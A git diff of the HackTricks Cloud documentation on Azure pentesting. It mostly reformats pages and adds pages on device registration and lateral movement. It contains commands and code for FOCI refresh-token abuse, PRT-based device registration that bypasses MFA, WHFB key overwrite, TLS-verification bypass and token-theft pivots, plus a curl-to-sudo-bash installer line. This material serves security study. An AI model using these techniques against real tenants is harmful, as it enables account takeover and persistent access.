+          "Astronomer.Astro/register/action",
+          "Astronomer.Astro/unregister/action",
+          "Astronomer.Astro/operations/read",
+          "Astronomer.Astro/organizations/read"
+        ],
+        "dataActions": [],
+        "notDataActions": []
+      }
+    ]
+  }
 }
 ```
 
 ### Permissions order
 
-* In order for a **principal to have some access over a resource** he needs an explicit role being granted to him (anyhow) **granting him that permission**.
-* An explicit **deny role assignment takes precedence** over the role granting the permission.
+- In order for a **principal to have some access over a resource** he needs an explicit role being granted to him (anyhow) **granting him that permission**.
+- An explicit **deny role assignment takes precedence** over the role granting the permission.
 
-<figure><img src="../../../.gitbook/assets/image (191).png" alt=""><figcaption><p><a href="https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10">https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10</a></p></figcaption></figure>
+<figure><img src="../../../images/image (191).png" alt=""><figcaption><p><a href="https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10">https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10</a></p></figcaption></figure>
 
 ### Global Administrator
 
 Global Administrator is a role from Entra ID that grants **complete control over the Entra ID tenant**. However, it doesn't grant any permissions over Azure resources by default.
 
 Users with the Global Administrator role has the ability to '**elevate' to User Access Administrator Azure role in the Root Management Group**. So Global Administrators can manage access in **all Azure subscriptions and management groups.**\
-This elevation can be done at the end of the page: [https://portal.azure.com/#view/Microsoft\_AAD\_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
+This elevation can be done at the end of the page: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
 
-<figure><img src="../../../.gitbook/assets/image (349).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (349).png" alt=""><figcaption></figcaption></figure>
 
 ### Azure Policies
 
@@ -358,10 +341,7 @@ Azure policy json example:
   "policyRule": {
     "if": {
       "field": "location",
-      "notIn": [
-        "eastus",
-        "westus"
-      ]
+      "notIn": ["eastus", "westus"]
     },
     "then": {
       "effect": "Deny"
@@ -380,7 +360,7 @@ In Azure **permissions are can be assigned to any part of the hierarchy**. That
 
 This hierarchical structure allows for efficient and scalable management of access permissions.
 
-<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
 
 ### Azure RBAC vs ABAC
 
@@ -392,23 +372,10 @@ You **cannot** explicitly **deny** **access** to specific resources **using cond
 
 ## References
 
-* [https://learn.microsoft.com/en-us/azure/governance/management-groups/overview](https://learn.microsoft.com/en-us/azure/governance/management-groups/overview)
-* [https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions)
-* [https://abouttmc.com/glossary/azure-subscription/#:\~:text=An%20Azure%20subscription%20is%20a,the%20subscription%20it%20belongs%20to.](https://abouttmc.com/glossary/azure-subscription/)
-* [https://learn.microsoft.com/en-us/azure/role-based-access-control/overview#how-azure-rbac-determines-if-a-user-has-access-to-a-resource](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview#how-azure-rbac-determines-if-a-user-has-access-to-a-resource)
-* [https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration](https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration)
+- [https://learn.microsoft.com/en-us/azure/governance/management-groups/overview](https://learn.microsoft.com/en-us/azure/governance/management-groups/overview)
+- [https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions)
+- [https://abouttmc.com/glossary/azure-subscription/#:\~:text=An%20Azure%20subscription%20is%20a,the%20subscription%20it%20belongs%20to.](https://abouttmc.com/glossary/azure-subscription/)
+- [https://learn.microsoft.com/en-us/azure/role-based-access-control/overview#how-azure-rbac-determines-if-a-user-has-access-to-a-resource](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview#how-azure-rbac-determines-if-a-user-has-access-to-a-resource)
+- [https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration](https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
similarity index 62%
rename from pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
rename to src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
index 59ef23f06..c244928d3 100644
--- a/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
@@ -1,21 +1,6 @@
 # Az - Tokens & Public Applications
 
-
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -32,41 +17,40 @@ Entra ID is Microsoft's cloud-based identity and access management (IAM) platfor
 
 **Scopes and Consent:**
 
-* **Scopes:** Granular permissions defined on the resource server that specify access levels.
-* **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes.
+- **Scopes:** Granular permissions defined on the resource server that specify access levels.
+- **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes.
 
 **Microsoft 365 Integration:**
 
-* Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications.
-* These applications are deeply integrated and often have interdependent service relationships.
-* To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications.
-* **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l.
-* These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces.
+- Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications.
+- These applications are deeply integrated and often have interdependent service relationships.
+- To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications.
+- **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l.
+- These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces.
 
 **Client Application Types:**
 
 1. **Confidential Clients:**
-   * Possess their own credentials (e.g., passwords or certificates).
-   * Can **securely authenticate themselves** to the authorization server.
+   - Possess their own credentials (e.g., passwords or certificates).
+   - Can **securely authenticate themselves** to the authorization server.
 2. **Public Clients:**
-   * Do not have unique credentials.
-   * Cannot securely authenticate to the authorization server.
-   * **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application.
+   - Do not have unique credentials.
+   - Cannot securely authenticate to the authorization server.
+   - **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application.
 
 ## Authentication Tokens
 
 There are **three types of tokens** used in OIDC:
 
-* [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default.
-* **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**.
-* **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens).
-  * A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**.
-  * A refresh token is encrypted and only Microsoft can decrypt it.
-  * Getting a new refresh token doesn't revoke the previous refresh token.
+- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default.
+- **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**.
+- **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens).
+  - A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**.
+  - A refresh token is encrypted and only Microsoft can decrypt it.
+  - Getting a new refresh token doesn't revoke the previous refresh token.
 
-{% hint style="warning" %}
-Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**.
-{% endhint %}
+> [!WARNING]
+> Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**.
 
 ### Access Tokens "aud"
 
@@ -74,34 +58,33 @@ The field indicated in the "aud" field is the **resource server** (the applicati
 
 The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token:
 
-{% hint style="danger" %}
-Note that the following are just the APIs supported by `az account get-access-token` but there are more.
-{% endhint %}
+> [!CAUTION]
+> Note that the following are just the APIs supported by `az account get-access-token` but there are more.
 
 <details>
 
 <summary>aud examples</summary>
 
-* **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD).
-  * `https://graph.windows.net/`
+- **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD).
+  - `https://graph.windows.net/`
 
-- **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more.
-  * `https://management.core.windows.net/ or https://management.azure.com/`
+* **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more.
+  - `https://management.core.windows.net/ or https://management.azure.com/`
 
-* **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud.
-  * `https://batch.core.windows.net/`
+- **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud.
+  - `https://batch.core.windows.net/`
 
-- **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service.
-  * `https://datalake.azure.net/`
+* **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service.
+  - `https://datalake.azure.net/`
 
-* **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content.
-  * `https://rest.media.azure.net`
+- **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content.
+  - `https://rest.media.azure.net`
 
-- **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services.
-  * `https://graph.microsoft.com`
+* **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services.
+  - `https://graph.microsoft.com`
 
-* **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB.
-  * `https://ossrdbms-aad.database.windows.net`
+- **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB.
+  - `https://ossrdbms-aad.database.windows.net`
 
 </details>
 
@@ -155,10 +138,10 @@ pprint(decoded_access_token)
 # GET NEW ACCESS TOKEN AND REFRESH TOKEN
 new_azure_cli_bearer_tokens_for_graph_api = (
     # Same client as original authorization
-    azure_cli_client.acquire_token_by_refresh_token( 
+    azure_cli_client.acquire_token_by_refresh_token(
         azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
         # Same scopes as original authorization
-        scopes=["https://graph.microsoft.com/.default"], 
+        scopes=["https://graph.microsoft.com/.default"],
     )
 )
 pprint(new_azure_cli_bearer_tokens_for_graph_api)
@@ -182,14 +165,14 @@ Following with the previous example code, in this code it's requested a new toke
 # Code from https://github.com/secureworks/family-of-client-ids-research
 azure_cli_bearer_tokens_for_outlook_api = (
     # Same client as original authorization
-    azure_cli_client.acquire_token_by_refresh_token( 
+    azure_cli_client.acquire_token_by_refresh_token(
         new_azure_cli_bearer_tokens_for_graph_api.get(
-            "refresh_token" 
+            "refresh_token"
         ),
         # But different scopes than original authorization
         scopes=[
-            "https://outlook.office.com/.default" 
-        ],  
+            "https://outlook.office.com/.default"
+        ],
     )
 )
 pprint(azure_cli_bearer_tokens_for_outlook_api)
@@ -215,19 +198,6 @@ pprint(microsoft_office_bearer_tokens_for_graph_api)
 
 ## References
 
-* [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
+- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md
new file mode 100644
index 000000000..f3e004fac
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-device-registration.md
@@ -0,0 +1,109 @@
+# Az - Device Registration
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+When a device joins AzureAD a new object is created in AzureAD.
+
+When registering a device, the **user is asked to login with his account** (asking for MFA if needed), then it request tokens for the device registration service and then ask a final confirmation prompt.
+
+Then, two RSA keypairs are generated in the device: The **device key** (**public** key) which is sent to **AzureAD** and the **transport** key (**private** key) which is stored in TPM if possible.
+
+Then, the **object** is generated in **AzureAD** (not in Intune) and AzureAD gives back to the device a **certificate** signed by it. You can check that the **device is AzureAD joined** and info about the **certificate** (like if it's protected by TPM).:
+
+```bash
+dsregcmd /status
+```
+
+After the device registration a **Primary Refresh Token** is requested by the LSASS CloudAP module and given to the device. With the PRT is also delivered the **session key encrypted so only the device can decrypt it** (using the public key of the transport key) and it's **needed to use the PRT.**
+
+For more information about what is a PRT check:
+
+{{#ref}}
+az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
+{{#endref}}
+
+### TPM - Trusted Platform Module
+
+The **TPM** **protects** against key **extraction** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\
+But it **doesn't protect** against **sniffing** the physical connection between the TPM and CPU or **using the cryptograpic material** in the TPM while the system is running from a process with **SYSTEM** rights.
+
+If you check the following page you will see that **stealing the PRT** can be used to access like a the **user**, which is great because the **PRT is located devices**, so it can be stolen from them (or if not stolen abused to generate new signing keys):
+
+{{#ref}}
+az-lateral-movement-cloud-on-prem/pass-the-prt.md
+{{#endref}}
+
+## Registering a device with SSO tokens
+
+It would be possible for an attacker to request a token for the Microsoft device registration service from the compromised device and register it:
+
+```bash
+# Initialize SSO flow
+roadrecon auth prt-init
+.\ROADtoken.exe <nonce>
+
+# Request token with PRT with PRT cookie
+roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
+
+# Custom pyhton script to register a device (check roadtx)
+registerdevice.py
+```
+
+Which will give you a **certificate you can use to ask for PRTs in the future**. Therefore maintaining persistence and **bypassing MFA** because the original PRT token used to register the new device **already had MFA permissions granted**.
+
+> [!TIP]
+> Note that to perform this attack you will need permissions to **register new devices**. Also, registering a device doesn't mean the device will be **allowed to enrol into Intune**.
+
+> [!CAUTION]
+> This attack was fixed in September 2021 as you can no longer register new devices using a SSO tokens. However, it's still possible to register devices in a legit way (having username, password and MFA if needed). Check: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
+
+## Overwriting a device ticket
+
+It was possible to **request a device ticket**, **overwrite** the current one of the device, and during the flow **steal the PRT** (so no need to steal it from the TPM. For more info [**check this talk**](https://youtu.be/BduCn8cLV1A).
+
+<figure><img src="../../images/image (32).png" alt=""><figcaption></figcaption></figure>
+
+> [!CAUTION]
+> However, this was fixed.
+
+## Overwrite WHFB key
+
+[**Check the original slides here**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
+
+Attack summary:
+
+- It's possible to **overwrite** the **registered WHFB** key from a **device** via SSO
+- It **defeats TPM protection** as the key is **sniffed during the generation** of the new key
+- This also provides **persistence**
+
+<figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>
+
+Users can modify their own searchableDeviceKey property via the Azure AD Graph, however, the attacker needs to have a device in the tenant (registered on the fly or having stolen cert + key from a legit device) and a valid access token for the AAD Graph.
+
+Then, it's possible to generate a new key with:
+
+```bash
+roadtx genhellokey -d <device id> -k tempkey.key
+```
+
+and then PATCH the information of the searchableDeviceKey:
+
+<figure><img src="../../images/image (36).png" alt=""><figcaption></figcaption></figure>
+
+It's possible to get an access token from a user via **device code phishing** and abuse the previous steps to **steal his access**. For more information check:
+
+{{#ref}}
+az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
+{{#endref}}
+
+<figure><img src="../../images/image (37).png" alt=""><figcaption></figcaption></figure>
+
+## References
+
+- [https://youtu.be/BduCn8cLV1A](https://youtu.be/BduCn8cLV1A)
+- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
+- [https://www.youtube.com/watch?v=AFay_58QubY](https://www.youtube.com/watch?v=AFay_58QubY)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
similarity index 68%
rename from pentesting-cloud/azure-security/az-enumeration-tools.md
rename to src/pentesting-cloud/azure-security/az-enumeration-tools.md
index 68629756c..4ada66e88 100644
--- a/pentesting-cloud/azure-security/az-enumeration-tools.md
+++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
@@ -1,44 +1,30 @@
 # Az - Enumeration Tools
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Install PowerShell in Linux
 
-{% hint style="success" %}
-In linux you will need to install PowerShell Core:
-
-```bash
-sudo apt-get update
-sudo apt-get install -y wget apt-transport-https software-properties-common
-
-# Ubuntu 20.04
-wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
-
-# Update repos
-sudo apt-get update
-sudo add-apt-repository universe
-
-# Install & start powershell
-sudo apt-get install -y powershell
-pwsh
-
-# Az cli
-curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
-```
-{% endhint %}
+> [!TIP]
+> In linux you will need to install PowerShell Core:
+>
+> ```bash
+> sudo apt-get update
+> sudo apt-get install -y wget apt-transport-https software-properties-common
+>
+> # Ubuntu 20.04
+> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
+>
+> # Update repos
+> sudo apt-get update
+> sudo add-apt-repository universe
+>
+> # Install & start powershell
+> sudo apt-get install -y powershell
+> pwsh
+>
+> # Az cli
+> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
+> ```
 
 ## Install PowerShell in MacOS
 
@@ -89,8 +75,9 @@ az account management-group list --output table --debug
 
 In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do:
 
-{% tabs %}
-{% tab title="Bash" %}
+{{#tabs }}
+{{#tab name="Bash" }}
+
 ```bash
 export ADAL_PYTHON_SSL_NO_VERIFY=1
 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
@@ -103,17 +90,20 @@ export HTTP_PROXY="http://127.0.0.1:8080"
 openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
 export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
 ```
-{% endtab %}
 
-{% tab title="PS" %}
+{{#endtab }}
+
+{{#tab name="PS" }}
+
 ```bash
 $env:ADAL_PYTHON_SSL_NO_VERIFY=1
 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
 $env:HTTPS_PROXY="http://127.0.0.1:8080"
 $env:HTTP_PROXY="http://127.0.0.1:8080"
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Az PowerShell
 
@@ -153,8 +143,7 @@ Get-MgUser -Debug
 
 The Azure Active Directory (AD) module, now **deprecated**, is part of Azure PowerShell for managing Azure AD resources. It provides cmdlets for tasks like managing users, groups, and application registrations in Entra ID.
 
-{% hint style="success" %}
-This is replaced by Microsoft Graph PowerShell
-{% endhint %}
+> [!TIP]
+> This is replaced by Microsoft Graph PowerShell
 
 Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
new file mode 100644
index 000000000..d2cac1174
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
@@ -0,0 +1,65 @@
+# Az - Lateral Movement (Cloud - On-Prem)
+
+## Az - Lateral Movement (Cloud - On-Prem)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+### On-Prem machines connected to cloud
+
+There are different ways a machine can be connected to the cloud:
+
+#### Azure AD joined
+
+<figure><img src="../../../images/image (259).png" alt=""><figcaption></figcaption></figure>
+
+#### Workplace joined
+
+<figure><img src="../../../images/image (222).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&#x26;name=large</a></p></figcaption></figure>
+
+#### Hybrid joined
+
+<figure><img src="../../../images/image (178).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&#x26;name=large</a></p></figcaption></figure>
+
+#### Workplace joined on AADJ or Hybrid
+
+<figure><img src="../../../images/image (252).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&#x26;name=large</a></p></figcaption></figure>
+
+### Tokens and limitations <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
+
+In Azure AD, there are different types of tokens with specific limitations:
+
+- **Access tokens**: Used to access APIs and resources like the Microsoft Graph. They are tied to a specific client and resource.
+- **Refresh tokens**: Issued to applications to obtain new access tokens. They can only be used by the application they were issued to or a group of applications.
+- **Primary Refresh Tokens (PRT)**: Used for Single Sign-On on Azure AD joined, registered, or hybrid joined devices. They can be used in browser sign-in flows and for signing in to mobile and desktop applications on the device.
+- **Windows Hello for Business keys (WHFB)**: Used for passwordless authentication. It's used to get Primary Refresh Tokens.
+
+The most interesting type of token is the Primary Refresh Token (PRT).
+
+{{#ref}}
+az-primary-refresh-token-prt.md
+{{#endref}}
+
+### Pivoting Techniques
+
+From the **compromised machine to the cloud**:
+
+- [**Pass the Cookie**](az-pass-the-cookie.md): Steal Azure cookies from the browser and use them to login
+- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump the memory of local processes synchronized with the cloud (like excel, Teams...) and find access tokens in clear text.
+- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish the PRT to abuse it
+- [**Pass the PRT**](pass-the-prt.md): Steal the device PRT to access Azure impersonating it.
+- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generate a cert based on the PRT to login from one machine to another
+
+From compromising **AD** to compromising the **Cloud** and from compromising the **Cloud to** compromising **AD**:
+
+- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/)
+- **Another way to pivot from could to On-Prem is** [**abusing Intune**](../az-services/intune.md)
+
+#### [Roadtx](https://github.com/dirkjanm/ROADtools)
+
+This tool allows to perform several actions like register a machine in Azure AD to obtain a PRT, and use PRTs (legit or stolen) to access resources in several different ways. These are not direct attacks, but it facilitates the use of PRTs to access resources in different ways. Find more info in [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
+
+## References
+
+- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
+
+{{#include ../../../banners/hacktricks-training.md}}
